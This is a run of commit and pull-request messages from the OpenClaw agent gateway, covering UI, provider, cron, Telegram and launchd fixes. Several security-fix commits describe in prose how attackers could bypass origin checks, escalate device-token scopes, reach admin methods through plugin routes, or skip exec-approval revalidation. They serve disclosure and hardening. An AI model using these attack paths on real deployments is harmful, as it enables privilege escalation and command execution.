Closes#43339
* fix(agents): avoid injecting memory file twice on case-insensitive mounts
On case-insensitive file systems mounted into Docker from macOS, both
MEMORY.md and memory.md pass fs.access() even when they are the same
underlying file. The previous dedup via fs.realpath() failed in this
scenario because realpath does not normalise case through the Docker
mount layer, so both paths were treated as distinct entries and the
same content was injected into the bootstrap context twice, wasting
tokens.
Fix by replacing the collect-then-dedup approach with an early-exit:
try MEMORY.md first; fall back to memory.md only when MEMORY.md is
absent. This makes the function return at most one entry regardless
of filesystem case-sensitivity.
* docs: clarify singular memory bootstrap fallback
* fix: note memory bootstrap fallback docs and changelog (#26054) (thanks @Lanfei)
---------
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
Remove header bloat, merge Node info into a single Device card,
group permissions into Media/Notifications/Data Access cards with
internal dividers, and combine Screen+Debug into Preferences.
Sections reduced from 9 to 6.
Rename role labels to You/OpenClaw/System, update streaming label to
OpenClaw · Live, and remove the redundant SESSION row + Connected pill
since the top bar and chip row already convey both.
- Welcome: replace bullet list with icon+subtitle feature cards
- Gateway: simplify to single instruction line, collapse advanced by default, remove verbose developer text
- Permissions: group into System/Media/Personal Data sections, rewrite subtitles to plain English, style "Not granted" with warning color
- Review: replace plain text fields with icon cards matching Welcome style, add colored status cards for connect/pairing states
- Remove redundant "FIRST RUN" label, "Step X of 4" text, and StepRailWrap dividers
4 entries were added to the 2026.3.12 section after the v2026.3.12
tag was cut. Move them to ## Unreleased where they belong.
Verified: 2026.3.12 section now matches the 74 entries present at
the v2026.3.12 release tag (28d64c48e).
* fix(telegram): preserve media download transport policy
* refactor(telegram): thread media transport policy
* fix(telegram): sync fallback media policy
* fix: note telegram media transport fix (#44639)
Process messageData via handleDeltaEvent for both delta and final states
before resolving the turn, so ACP clients no longer drop the last visible
assistant text when the gateway sends the final message body on the
terminal chat event.
Closes#15377
Based on #17615
Co-authored-by: PJ Eby <3527052+pjeby@users.noreply.github.com>
Add shared native chat handling for /new, /reset, and /clear.
This also aligns main session key handling in the shared chat UI and includes follow-up test and CI fixes needed to keep the branch mergeable.
Co-authored-by: Nachx639 <71144023+Nachx639@users.noreply.github.com>
Co-authored-by: Luke <92253590+ImLukeF@users.noreply.github.com>
Regenerate the Swift protocol models so PushTestResult keeps the transport field required by the current gateway schema, and update protocol:check to diff both generated Swift destinations because the generator writes both files.
Regeneration-Prompt: |
Investigate the protocol CI failure on current origin/main rather than assuming the earlier fix still held. Confirm whether the generated Swift outputs drifted from the TypeScript gateway schema, identify whether the regression was reintroduced by a later commit, and keep the patch minimal: restore the generated Swift outputs from the existing schema and tighten the protocol check so it verifies every Swift file the generator writes.
Replace the multi-step MiniMax onboarding wizard with 4 flat options:
- MiniMax Global — OAuth (minimax.io)
- MiniMax Global — API Key (minimax.io)
- MiniMax CN — OAuth (minimaxi.com)
- MiniMax CN — API Key (minimaxi.com)
Storage changes:
- Unify CN and Global under provider "minimax" (baseUrl distinguishes region)
- Profiles: minimax:global / minimax:cn (both regions can coexist)
- Model ref: minimax/MiniMax-M2.5 (no more minimax-cn/ prefix)
- Remove LM Studio local mode and Lightning/Highspeed choice
Backward compatibility:
- Keep minimax-cn in provider-env-vars for existing configs
- Accept minimax-cn as legacy tokenProvider in CI pipelines
- Error with migration hint for removed auth choices in non-interactive mode
- Warn when dual-profile overwrites shared provider baseUrl
Made-with: Cursor
* fix(ci): restore protocol outputs and stabilize Windows path test
Regenerate the Swift protocol models so protocol:check stops failing on main.
Align the session target test helper with the sync production realpath behavior so Windows does not compare runneradmin and RUNNER~1 spellings for the same file.
Regeneration-Prompt: |
Investigate the failing checks from merged PR #34485 and confirm whether they still affect current main before changing code. Keep the fix tight: do not alter runtime behavior beyond what is required to clear the reproduced CI regressions. Commit the generated Swift protocol outputs for the PushTestResult transport field because protocol:check was failing from stale generated files on main. Also fix the Windows-only session target test by making its helper use the same synchronous realpath behavior as production discovery, so path spelling differences like runneradmin versus RUNNER~1 do not cause a false assertion failure.
* fix(ci): align session target realpath behavior on Windows
Use native realpath for sync session target discovery so it matches the async path on Windows, and update the session target test helper to assert against the same canonical path form.
Regeneration-Prompt: |
After opening the follow-up PR for the CI regressions from merged PR #34485, inspect the new failing Windows shard instead of assuming the first fix covered every case. Keep scope limited to the session target path mismatch exposed by CI. Fix the inconsistency at the source by making sync session target discovery use the same native realpath canonicalization as the async discovery path on Windows, then update the test helper to match that shared behavior and verify the touched file with targeted tests and file-scoped lint/format checks.
* test: make merge config fixtures satisfy provider type
After rebasing the PR onto current origin/main, the merge helper test fixtures no longer satisfied ProviderConfig because the anthropic provider examples were missing required provider and model fields. Add a shared fully-typed model fixture and explicit anthropic baseUrl values so the test keeps full type coverage under tsgo.
Regeneration-Prompt: |
Rebase the PR branch for #44266 onto the current origin/main because the failing CI error only reproduced on the merge ref. Re-run the type-check path and inspect src/agents/models-config.merge.test.ts at the exact compiler lines instead of weakening types globally. Keep the fix test-only: make the anthropic ProviderConfig fixtures structurally valid by supplying the required baseUrl and full model definition fields, and keep the shared fixture typed so tsgo accepts it without unknown casts.
* fix: align Windows session store test expectations
* feat(ui): add chat infrastructure modules (slice 1 of dashboard-v2)
New self-contained chat modules extracted from dashboard-v2-structure:
- chat/slash-commands.ts: slash command definitions and completions
- chat/slash-command-executor.ts: execute slash commands via gateway RPC
- chat/slash-command-executor.node.test.ts: test coverage
- chat/speech.ts: speech-to-text (STT) support
- chat/input-history.ts: per-session input history navigation
- chat/pinned-messages.ts: pinned message management
- chat/deleted-messages.ts: deleted message tracking
- chat/export.ts: shared exportChatMarkdown helper
- chat-export.ts: re-export shim for backwards compat
Gateway fix:
- Restore usage/cost stripping in chat.history sanitization
- Add test coverage for sanitization behavior
These modules are additive and tree-shaken — no existing code
imports them yet. They will be wired in subsequent slices.
* feat(ui): add utilities, theming, and i18n updates (slice 2 of dashboard-v2)
UI utilities and theming improvements extracted from dashboard-v2-structure:
Icons & formatting:
- icons.ts: expanded icon set for new dashboard views
- format.ts: date/number formatting helpers
- tool-labels.ts: human-readable tool name mappings
Theming:
- theme.ts: enhanced theme resolution and system theme support
- theme-transition.ts: simplified transition logic
- storage.ts: theme parsing improvements for settings persistence
Navigation & types:
- navigation.ts: extended tab definitions for dashboard-v2
- app-view-state.ts: expanded view state management
- types.ts: new type definitions (HealthSummary, ModelCatalogEntry, etc.)
Components:
- components/dashboard-header.ts: reusable header component
i18n:
- Updated en, pt-BR, zh-CN, zh-TW locales with new dashboard strings
All changes are additive or backwards-compatible. Build passes.
Part of #36853.
* feat(ui): dashboard-v2 views refactor (slice 3 of dashboard-v2)
Complete views refactor from dashboard-v2-structure, building on
slice 1 (chat infra, #41497) and slice 2 (utilities/theming, #41500).
Core app wiring:
- app.ts: updated host component with new state properties
- app-render.ts: refactored render pipeline for new dashboard layout
- app-render.helpers.ts: extracted render helpers
- app-settings.ts: theme listener lifecycle fix, cron runs on tab load
- app-gateway.ts: refactored chat event handling
- app-chat.ts: slash command integration
New views:
- views/command-palette.ts: command palette (Cmd+K)
- views/login-gate.ts: authentication gate
- views/bottom-tabs.ts: mobile tab navigation
- views/overview-*.ts: modular overview dashboard (cards, attention,
event log, hints, log tail, quick actions)
- views/agents-panels-overview.ts: agent overview panel
Refactored views:
- views/chat.ts: major refactor with STT, slash commands, search,
export, pinned messages, input history
- views/config.ts: restructured config management
- views/agents.ts: streamlined agent management
- views/overview.ts: modular composition from sub-views
- views/sessions.ts: enhanced session management
Controllers:
- controllers/health.ts: new health check controller
- controllers/models.ts: new model catalog controller
- controllers/agents.ts: tools catalog improvements
- controllers/config.ts: config form enhancements
Tests & infrastructure:
- Updated test helpers, browser tests, node tests
- vite.config.ts: build configuration updates
- markdown.ts: rendering improvements
Build passes ✅ | 44 files | +6,626/-1,499
Part of #36853. Depends on #41497 and #41500.
* UI: fix chat review follow-ups
* fix(ui): repair chat clear and attachment regressions
* fix(ui): address remaining chat review comments
* fix(ui): address review follow-ups
* fix(ui): replay queued local slash commands
* fix(ui): repair control-ui type drift
* fix(ui): restore control UI styling
* feat(ui): enhance layout and styling for config and topbar components
- Updated grid layout for the config layout to allow full-width usage.
- Introduced new styles for top tabs and search components to improve usability.
- Added theme mode toggle styling for better visual integration.
- Implemented tests for layout and theme mode components to ensure proper rendering and functionality.
* feat(ui): add config file opening functionality and enhance styles
- Implemented a new handler to open the configuration file using the default application based on the operating system.
- Updated various CSS styles across components for improved visual consistency and usability, including adjustments to padding, margins, and font sizes.
- Introduced new styles for the data table and sidebar components to enhance layout and interaction.
- Added tests for the collapsed navigation rail to ensure proper functionality in different states.
* refactor(ui): update CSS styles for improved layout and consistency
- Simplified font-body declaration in base.css for cleaner code.
- Adjusted transition properties in components.css for better readability.
- Added new .workspace-link class in components.css for enhanced link styling.
- Changed config layout from grid to flex in config.css for better responsiveness.
- Updated related tests to reflect layout changes in config-layout.browser.test.ts.
* feat(ui): enhance theme handling and loading states in chat interface
- Updated CSS to support new theme mode attributes for better styling consistency across light and dark themes.
- Introduced loading skeletons in the chat view to improve user experience during data fetching.
- Refactored command palette to manage focus more effectively, enhancing accessibility.
- Added tests for the appearance theme picker and loading states to ensure proper rendering and functionality.
* refactor(ui): streamline ephemeral state management in chat and config views
- Introduced interfaces for ephemeral state in chat and config views to encapsulate related variables.
- Refactored state management to utilize a single object for better organization and maintainability.
- Removed legacy state variables and updated related functions to reference the new state structure.
- Enhanced readability and consistency across the codebase by standardizing state handling.
* chore: remove test files to reduce PR scope
* fix(ui): resolve type errors in debug props and chat search
* refactor(ui): remove stream mode functionality across various components
- Eliminated stream mode related translations and CSS styles to streamline the user interface.
- Updated multiple components to remove references to stream mode, enhancing code clarity and maintainability.
- Adjusted rendering logic in views to ensure consistent behavior without stream mode.
- Improved overall readability by cleaning up unused variables and props.
* fix(ui): add msg-meta CSS and fix rebase type errors
* fix(ui): add CSS for chat footer action buttons (TTS, delete) and msg-meta
* feat(ui): add delete confirmation with remember-decision checkbox
* fix(ui): delete confirmation with remember, attention icon sizing
* fix(ui): open delete confirm popover to the left (not clipped)
* fix(ui): show all nav items in collapsed sidebar, remove gap
* fix(ui): address P1/P2 review feedback — session queue clear, kill scope, palette guard, stop button
* fix(ui): address Greptile re-review — kill scope, queue flush, idle handling, parallel fetch
- SECURITY: /kill <target> now enforces session tree scope (not just /kill all)
- /kill reports idle sessions gracefully instead of throwing
- Queue continues draining after local slash commands
- /model fetches sessions.list + models.list in parallel (perf fix)
* fix(ui): style update banner close button — SVG stroke + sizing
* fix(ui): update layout styles for sidebar and content spacing
* UI: restore colon slash command parsing
* UI: restore slash command session queries
* Refactor thinking resolution: Introduce resolveThinkingDefaultForModel function and update model-selection to utilize it. Add tests for new functionality in thinking.test.ts.
* fix(ui): constrain welcome state logo size, add missing CSS for new session view
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* Providers: set default Kimi coding user agent
* Tests: cover Kimi coding header overrides
* Changelog: note Kimi coding user agent
* Tests: satisfy Kimi provider fixture type
* Update CHANGELOG.md
* Providers: preserve Kimi headers through models merge
* fix(providers): respect user-configured baseUrl for kimi-coding
The kimi-coding provider was built exclusively from
`buildKimiCodingProvider()` defaults, ignoring any user-specified
`baseUrl` or other overrides in `openclaw.json` providers config.
This caused 404 errors when users configured a custom endpoint.
Now merge `explicitProviders["kimi-coding"]` on top of defaults,
matching the pattern used by ollama/vllm. User's `baseUrl`, `api`,
and `models` take precedence; env/profile API key still wins.
Fixes#36353
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* Tests: use Kimi implicit provider harness
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
## Summary
- Problem: `src/secrets/target-registry.test.ts` fails on latest `main` because the runtime registry includes Feishu `encryptKey` paths that the docs matrix and surface reference omit.
- Why it matters: the docs/runtime sync guard currently blocks prep and merge work for unrelated PRs, including `#25558`.
- What changed: regenerated the secretref credential matrix and updated the surface reference to include both Feishu `encryptKey` paths.
- What did NOT change (scope boundary): no runtime registry behavior, config semantics, or channel handling changed.
## Change Type (select all)
- [x] Bug fix
- [ ] Feature
- [ ] Refactor
- [x] Docs
- [ ] Security hardening
- [ ] Chore/infra
## Scope (select all touched areas)
- [ ] Gateway / orchestration
- [ ] Skills / tool execution
- [ ] Auth / tokens
- [ ] Memory / storage
- [x] Integrations
- [ ] API / contracts
- [ ] UI / DX
- [ ] CI/CD / infra
## Linked Issue/PR
- Closes #
- Related #25558
## User-visible / Behavior Changes
None.
## Security Impact (required)
- New permissions/capabilities? `No`
- Secrets/tokens handling changed? `No`
- New/changed network calls? `No`
- Command/tool execution surface changed? `No`
- Data access scope changed? `No`
- If any `Yes`, explain risk + mitigation:
## Repro + Verification
### Environment
- OS: macOS
- Runtime/container: Node.js repo checkout
- Model/provider: N/A
- Integration/channel (if any): Feishu docs/runtime registry sync
- Relevant config (redacted): none
### Steps
1. Check out latest `main` before this change.
2. Run `./node_modules/.bin/vitest run --config vitest.unit.config.ts src/secrets/target-registry.test.ts`.
3. Apply this docs-only sync change and rerun the same command.
### Expected
- The target registry stays in sync with the generated docs matrix and the test passes.
### Actual
- Before this change, the test failed because `channels.feishu.encryptKey` and `channels.feishu.accounts.*.encryptKey` were missing from the docs artifacts.
## Evidence
Attach at least one:
- [x] Failing test/log before + passing after
- [ ] Trace/log snippets
- [ ] Screenshot/recording
- [ ] Perf numbers (if relevant)
## Human Verification (required)
What you personally verified (not just CI), and how:
- Verified scenarios: confirmed the failure on plain latest `main`, applied only these docs entries in a clean bootstrapped worktree, and reran `./node_modules/.bin/vitest run --config vitest.unit.config.ts src/secrets/target-registry.test.ts` to green.
- Edge cases checked: verified both top-level Feishu `encryptKey` and account-scoped `encryptKey` paths are present in the matrix and surface reference.
- What you did **not** verify: full repo test suite and CI beyond the targeted regression.
## Review Conversations
- [x] I replied to or resolved every bot review conversation I addressed in this PR.
- [x] I left unresolved only the conversations that still need reviewer or maintainer judgment.
If a bot review conversation is addressed by this PR, resolve that conversation yourself. Do not leave bot review conversation cleanup for maintainers.
## Compatibility / Migration
- Backward compatible? `Yes`
- Config/env changes? `No`
- Migration needed? `No`
- If yes, exact upgrade steps:
## Failure Recovery (if this breaks)
- How to disable/revert this change quickly: revert this commit.
- Files/config to restore: `docs/reference/secretref-user-supplied-credentials-matrix.json` and `docs/reference/secretref-credential-surface.md`
- Known bad symptoms reviewers should watch for: the target-registry docs sync test failing again for missing Feishu `encryptKey` entries.
## Risks and Mitigations
- Risk: the markdown surface reference could drift from the generated matrix again in a later credential-shape change.
- Mitigation: `src/secrets/target-registry.test.ts` continues to guard docs/runtime sync.
* fix(mattermost): prevent duplicate messages when block streaming + threading are active
Remove replyToId from createBlockReplyPayloadKey so identical content is
deduplicated regardless of threading target. Add explicit threading dock
to the Mattermost plugin with resolveReplyToMode reading from config
(default "all"), and add replyToMode to the Mattermost config schema.
Fixes#41219
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(mattermost): address PR review — per-account replyToMode and test clarity
Read replyToMode from the merged per-account config via
resolveMattermostAccount so account-level overrides are honored in
multi-account setups. Add replyToMode to MattermostAccountConfig type.
Rename misleading test to clarify it exercises shouldDropFinalPayloads
short-circuit, not payload key dedup.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* Replies: keep block-pipeline reply targets distinct
* Tests: cover block reply target-aware dedupe
* Update CHANGELOG.md
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(cron): prevent duplicate proactive delivery on transient retry
* refactor: scope skipQueue to retryTransient path only
Non-retrying direct delivery (structured content / thread) keeps the
write-ahead queue so recoverPendingDeliveries can replay after a crash.
Addresses review feedback from codex-connector.
* fix: preserve write-ahead queue on initial delivery attempt
The first call through retryTransientDirectCronDelivery now keeps the
write-ahead queue entry so recoverPendingDeliveries can replay after a
crash. Only subsequent retry attempts set skipQueue to prevent
duplicate sends.
Addresses second codex-connector review on ea5ae5c.
* ci: retrigger checks
* Cron: bypass write-ahead queue for direct isolated delivery
* Tests: assert isolated cron skipQueue invariants
* Changelog: add cron duplicate-delivery fix entry
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix: prevent duplicate assistant messages in TUI (fixes#35278)
When startAssistant() is called multiple times with the same runId,
it was creating duplicate AssistantMessageComponent instances instead
of reusing the existing one. This caused messages to appear twice in
the terminal UI.
The fix checks if a component already exists for the runId before
creating a new one. If it exists, we update its text instead of
appending a duplicate component.
Test coverage includes verification that:
- Only one component is created when startAssistant is called twice
- The second text replaces the first
- Component count remains 1 (prevents regression)
Generated with [Claude Code](https://claude.ai/code)
via [Happy](https://happy.engineering)
Co-Authored-By: Claude <noreply@anthropic.com>
Co-Authored-By: Happy <yesreply@happy.engineering>
* Changelog: add TUI duplicate-render fix entry
---------
Co-authored-by: 沐沐 <mumu@example.com>
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Happy <yesreply@happy.engineering>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Fixes#5090
Without this plist key, macOS silently denies Reminders access when
running through OpenClaw.app, preventing the apple-reminders skill
from requesting permission.
(cherry picked from commit e5774471c8)
Bug 1 (high): replace fixed sleep 1 with caller-PID polling in both
kickstart and start-after-exit handoff modes. The helper now waits until
kill -0 $caller_pid fails before issuing launchctl kickstart -k.
Bug 2 (medium): gate enable+bootstrap fallback on isLaunchctlNotLoaded().
Only attempt re-registration when kickstart -k fails because the job is
absent; all other kickstart failures now re-throw the original error.
Follows up on 3c0fd3dffe.
Fixes#43311, #43406, #43035, #43049
tsx, jiti, ts-node, ts-node-esm, vite-node, and esno were not recognized
as interpreter-style script runners in invoke-system-run-plan.ts. These
runners produced mutableFileOperand: null, causing invoke-system-run.ts
to skip revalidation entirely. A mutated script payload would execute
without the approval binding check that node ./run.js already enforced.
Two-part fix:
- Add tsx, jiti, and related TypeScript/ESM loaders to the known script
runner set so they produce a valid mutableFileOperand from the planner
- Add a fail-closed runtime guard in invoke-system-run.ts that denies
execution when a script run should have a mutable-file binding but the
approval plan is missing it, preventing unknown future runners from
silently bypassing revalidation
Fixes GHSA-qc36-x95h-7j53
In trusted-proxy mode, enforceOriginCheckForAnyClient was set to false
whenever proxy headers were present. This allowed browser-originated
WebSocket connections from untrusted origins to bypass origin validation
entirely, as the check only ran for control-ui and webchat client types.
An attacker serving a page from an untrusted origin could connect through
a trusted reverse proxy, inherit proxy-injected identity, and obtain
operator.admin access via the sharedAuthOk / roleCanSkipDeviceIdentity
path without any origin restriction.
Remove the hasProxyHeaders exemption so origin validation runs for all
browser-originated connections regardless of how the request arrived.
Fixes GHSA-5wcw-8jjv-m286
On macOS, launchctl bootout permanently unloads the LaunchAgent plist.
Even with KeepAlive: true, launchd cannot respawn a service whose plist
has been removed from its registry. This left users with a dead gateway
requiring manual 'openclaw gateway install' to recover.
Affected trigger paths:
- openclaw gateway restart from an agent session (#43311)
- SIGTERM on config reload (#43406)
- Gateway self-restart via SIGTERM (#43035)
- Hot reload on channel config change (#43049)
Switch restartLaunchAgent() to launchctl kickstart -k, which force-kills
and restarts the service without unloading the plist. When the restart
originates from inside the launchd-managed process tree, delegate to a
new detached handoff helper (launchd-restart-handoff.ts) to avoid the
caller being killed mid-command. Self-restart paths in process-respawn.ts
now schedule the detached start-after-exit handoff before exiting instead
of relying on exit/KeepAlive timing.
Fixes#43311, #43406, #43035, #43049
Add Ollama as a auth provider in onboarding with Cloud + Local mode
selection, browser-based sign-in via /api/me, smart model suggestions
per mode, and graceful fallback when the default model is unavailable.
- Extract shared ollama-models.ts
- Auto-pull missing models during onboarding
- Non-interactive mode support for CI/automation
Closes#8239Closes#3494
Co-Authored-By: Jeffrey Morgan <jmorganca@gmail.com>
The nodes tool was missing from OWNER_ONLY_TOOL_NAME_FALLBACKS in
tool-policy.ts. applyOwnerOnlyToolPolicy() correctly removed gateway
and cron for non-owners but kept nodes, which internally issues
privileged gateway calls: node.pair.approve (operator.pairing) and
node.invoke (operator.write).
A non-owner sender could approve pending node pairings and invoke
arbitrary node commands, extending to system.run on paired nodes.
Add nodes to the fallback owner-only set. Non-owners no longer receive
the nodes tool after policy application; owners retain it.
Fixes GHSA-r26r-9hxr-r792
Plugin subagent dispatch used a hardcoded synthetic client carrying
operator.admin, operator.approvals, and operator.pairing for all
runtime.subagent.* calls. Plugin HTTP routes with auth:"plugin" require
no gateway auth by design, so an unauthenticated external request could
drive admin-only gateway methods (sessions.delete, agent.run) through
the subagent runtime.
Propagate the real gateway client into the plugin runtime request scope
when one is available. Plugin HTTP routes now run inside a scoped
runtime client: auth:"plugin" routes receive a non-admin synthetic
operator.write client; gateway-authenticated routes retain admin-capable
scopes. The security boundary is enforced at the HTTP handler level.
Fixes GHSA-xw77-45gv-p728
device.token.rotate accepted attacker-controlled scopes and forwarded
them to rotateDeviceToken without verifying the caller held those
scopes. A pairing-scoped token could rotate up to operator.admin on
any already-paired device whose approvedScopes included admin.
Add a caller-scope subsetting check before rotateDeviceToken: the
requested scopes must be a subset of client.connect.scopes via the
existing roleScopesAllow helper. Reject with missing scope: <scope>
if not.
Also add server.device-token-rotate-authz.test.ts covering both the
priv-esc path and the admin-to-node-invoke chain.
Fixes GHSA-4jpw-hj22-2xmc
* fix(acp): implicit streamToParent for mode=run without thread
When spawning ACP sessions with mode=run and no thread binding,
automatically route output to parent session instead of Discord.
This enables agent-to-agent supervision patterns where the spawning
agent wants results returned programmatically, not posted as chat.
The change makes sessions_spawn with runtime=acp and thread=false
behave like direct acpx invocation - output goes to the spawning
session, not to Discord.
Fixes the issue where mode=run without thread still posted to Discord
because hasDeliveryTarget was true when called from a Discord context.
* fix: use resolved spawnMode instead of params.mode
Move implicit streamToParent check to after resolveSpawnMode so that
both explicit mode="run" and omitted mode (which defaults to "run"
when thread is false) correctly trigger parent routing.
This fixes the issue where callers that rely on default mode selection
would not get the intended parent streaming behavior.
* fix: tighten implicit ACP parent relay gating (#42404) (thanks @davidguttman)
---------
Co-authored-by: Onur Solmaz <2453968+osolmaz@users.noreply.github.com>
- Rename provider ID, constants, functions, CLI flags, and types from
"bailian" to "modelstudio" to match the official English name
"Alibaba Cloud Model Studio".
- Fix P2 bug: global endpoint variant now always overwrites baseUrl
instead of silently preserving a stale CN URL.
- Fix P1 bug: add modelstudio entry to PROVIDER_ENV_VARS so
secret-input-mode=ref no longer throws.
- Move Model Studio imports to top of onboard-auth.config-core.ts.
- Remove unused BAILIAN_BASE_URL export.
Made-with: Cursor
Strip trailing /v1beta from baseUrl before appending the version
segment, so callers that already include /v1beta in their base URL
(e.g. subagent-registry) no longer produce /v1beta/v1beta/models/…
which results in a 404 from the Gemini API.
Closes#34312
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Models like GLM-5 and DeepSeek sometimes emit internal delimiter tokens in their responses. Uses generic pattern in the text extraction pipeline, following the same architecture as stripMinimaxToolCallXml.
Closes#40020
Supersedes #40573
Co-authored-by: imwyvern <100903837+imwyvern@users.noreply.github.com>
* feat(acp): add resumeSessionId to sessions_spawn for ACP session resume
Thread resumeSessionId through the ACP session spawn pipeline so agents
can resume existing sessions (e.g. a prior Codex conversation) instead
of starting fresh.
Flow: sessions_spawn tool → spawnAcpDirect → initializeSession →
ensureSession → acpx --resume-session flag → agent session/load
- Add resumeSessionId param to sessions-spawn-tool schema with
description so agents can discover and use it
- Thread through SpawnAcpParams → AcpInitializeSessionInput →
AcpRuntimeEnsureInput → acpx extension runtime
- Pass as --resume-session flag to acpx CLI
- Error hard (exit 4) on non-existent session, no silent fallback
- All new fields optional for backward compatibility
Depends on acpx >= 0.1.16 (openclaw/acpx#85, merged, pending release).
Tests: 26/26 pass (runtime + tool schema)
Verified e2e: Discord → sessions_spawn(resumeSessionId) → Codex
resumed session and recalled stored secret.
🤖 AI-assisted
* fix: guard resumeSessionId against non-ACP runtime
Add early-return error when resumeSessionId is passed without
runtime="acp" (mirrors existing streamTo guard). Without this,
the parameter is silently ignored and the agent gets a fresh
session instead of resuming.
Also update schema description to note the runtime=acp requirement.
Addresses Greptile review feedback.
* ACP: add changelog entry for session resume (#41847) (thanks @pejmanjohn)
---------
Co-authored-by: Pejman Pour-Moezzi <481729+pejmanjohn@users.noreply.github.com>
Co-authored-by: Onur <onur@textcortex.com>
* fix(msteams): use General channel conversation ID as team key for Bot Framework compatibility
Bot Framework sends `activity.channelData.team.id` as the General channel's
conversation ID (e.g. `19:abc@thread.tacv2`), not the Graph API group GUID
(e.g. `fa101332-cf00-431b-b0ea-f701a85fde81`). The startup resolver was
storing the Graph GUID as the team config key, so runtime matching always
failed and every channel message was silently dropped.
Fix: always call `listChannelsForTeam` during resolution to find the General
channel, then use its conversation ID as the stored `teamId`. When a specific
channel is also configured, reuse the same channel list rather than issuing a
second API call. Falls back to the Graph GUID if the General channel cannot
be found (renamed/deleted edge case).
Fixes#41390
* fix(msteams): handle listChannelsForTeam failure gracefully
* fix(msteams): trim General channel ID and guard against empty string
* fix: document MS Teams allowlist team-key fix (#41838) (thanks @BradGroux)
---------
Co-authored-by: bradgroux <bradgroux@users.noreply.github.com>
Co-authored-by: Onur <onur@textcortex.com>
- export.ts: handle array content blocks (Claude API format) instead
of silently exporting empty strings
- slash-command-executor.ts: restrict /kill all to current session's
subagent subtree instead of all sessions globally
- slash-command-executor.ts: only count truly aborted runs (check
aborted !== false) in /kill summary
New self-contained chat modules extracted from dashboard-v2-structure:
- chat/slash-commands.ts: slash command definitions and completions
- chat/slash-command-executor.ts: execute slash commands via gateway RPC
- chat/slash-command-executor.node.test.ts: test coverage
- chat/speech.ts: speech-to-text (STT) support
- chat/input-history.ts: per-session input history navigation
- chat/pinned-messages.ts: pinned message management
- chat/deleted-messages.ts: deleted message tracking
- chat/export.ts: shared exportChatMarkdown helper
- chat-export.ts: re-export shim for backwards compat
Gateway fix:
- Restore usage/cost stripping in chat.history sanitization
- Add test coverage for sanitization behavior
These modules are additive and tree-shaken — no existing code
imports them yet. They will be wired in subsequent slices.
* fix(cron): do not misclassify empty/NO_REPLY as interim acknowledgement
When a cron task's agent returns NO_REPLY, the payload filter strips the
silent token, leaving an empty text string. isLikelyInterimCronMessage()
previously returned true for empty input, causing the cron runner to
inject a forced rerun prompt ('Your previous response was only an
acknowledgement...').
Change the empty-string branch to return false: empty text after payload
filtering means the agent deliberately chose silent completion, not that
it sent an interim 'on it' message.
Fixes#41246
* fix(cron): do not misclassify empty/NO_REPLY as interim acknowledgement
Fixes#41246. (#41383) thanks @jackal092927.
---------
Co-authored-by: xaeon2026 <xaeon2026@gmail.com>
When the gateway restarts with many overdue cron jobs, they are now
executed with staggered delays to prevent overwhelming the gateway.
- Add missedJobStaggerMs config (default 5s between jobs)
- Add maxMissedJobsPerRestart limit (default 5 jobs immediately)
- Prioritize most overdue jobs by sorting by nextRunAtMs
- Reschedule deferred jobs to fire gradually via normal timer
Fixes#18892
AbortSignal.any() fails in Node.js when signals come from different module
contexts (grammY's internal signal vs local AbortController), producing:
"The signals[0] argument must be an instance of AbortSignal. Received an
instance of AbortSignal".
Replace with manual event forwarding that works across all realms.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When the gateway receives SIGTERM, runner.stop() stops the grammY polling
loop but does not abort the in-flight getUpdates HTTP request. That request
hangs for up to 30 seconds (the Telegram API timeout). If a new gateway
instance starts polling during that window, Telegram returns a 409 Conflict
error, causing message loss and requiring exponential backoff recovery.
This is especially problematic with service managers (launchd, systemd)
that restart the process immediately after SIGTERM.
Wire an AbortController into the fetch layer so every Telegram API request
(especially the long-polling getUpdates) aborts immediately on shutdown:
- bot.ts: Accept optional fetchAbortSignal in TelegramBotOptions; wrap
the grammY fetch with AbortSignal.any() to merge the shutdown signal.
- monitor.ts: Create a per-iteration AbortController, pass its signal to
createTelegramBot, and abort it from the SIGTERM handler, force-restart
path, and finally block.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
On macOS, launchd sets XPC_SERVICE_NAME on managed processes but does
not set LAUNCH_JOB_LABEL or LAUNCH_JOB_NAME. Without checking
XPC_SERVICE_NAME, isLikelySupervisedProcess() returns false for
launchd-managed gateways, causing restartGatewayProcessWithFreshPid()
to fork a detached child instead of returning "supervised". The
detached child holds the gateway lock while launchd simultaneously
respawns the original process (KeepAlive=true), leading to an infinite
lock-timeout / restart loop.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Release gateway lock when in-process restart fails, so daemon
restart/stop can still manage the process (Codex P2)
- P1 (env mismatch) already addressed: best-effort by design, documented
in JSDoc
- Remove dead 'return false' in runServiceStart (Greptile)
- Include stack trace in run-loop crash guard error log (Greptile)
- Only catch startup errors on subsequent restarts, not initial start (Codex P1)
- Add JSDoc note about env var false positive edge case (Codex P1)
Address Greptile review: add test coverage for runServiceStart path.
The error message copy-paste issue was already fixed in the DRY refactor
(uses params.serviceNoun instead of hardcoded 'restart').
When an in-process restart (SIGUSR1) triggers a config-triggered restart
and the new config is invalid, params.start() throws and the while loop
exits, killing the process. On macOS this loses TCC permissions.
Wrap params.start() in try/catch: on failure, set server=null, log the
error, and wait for the next SIGUSR1 instead of crashing.
When 'openclaw gateway restart' is run with an invalid config, the new
process crashes on startup due to config validation failure. On macOS,
this causes Full Disk Access (TCC) permissions to be lost because the
respawned process has a different PID.
Add getConfigValidationError() helper and pre-flight config validation
in both runServiceRestart() and runServiceStart(). If config is invalid,
abort with a clear error message instead of crashing.
The config watcher's hot-reload path already had this guard
(handleInvalidSnapshot), but the CLI restart/start commands did not.
AI-assisted (OpenClaw agent, fully tested)
When a config-change restart hits the force-exit timeout, exit with
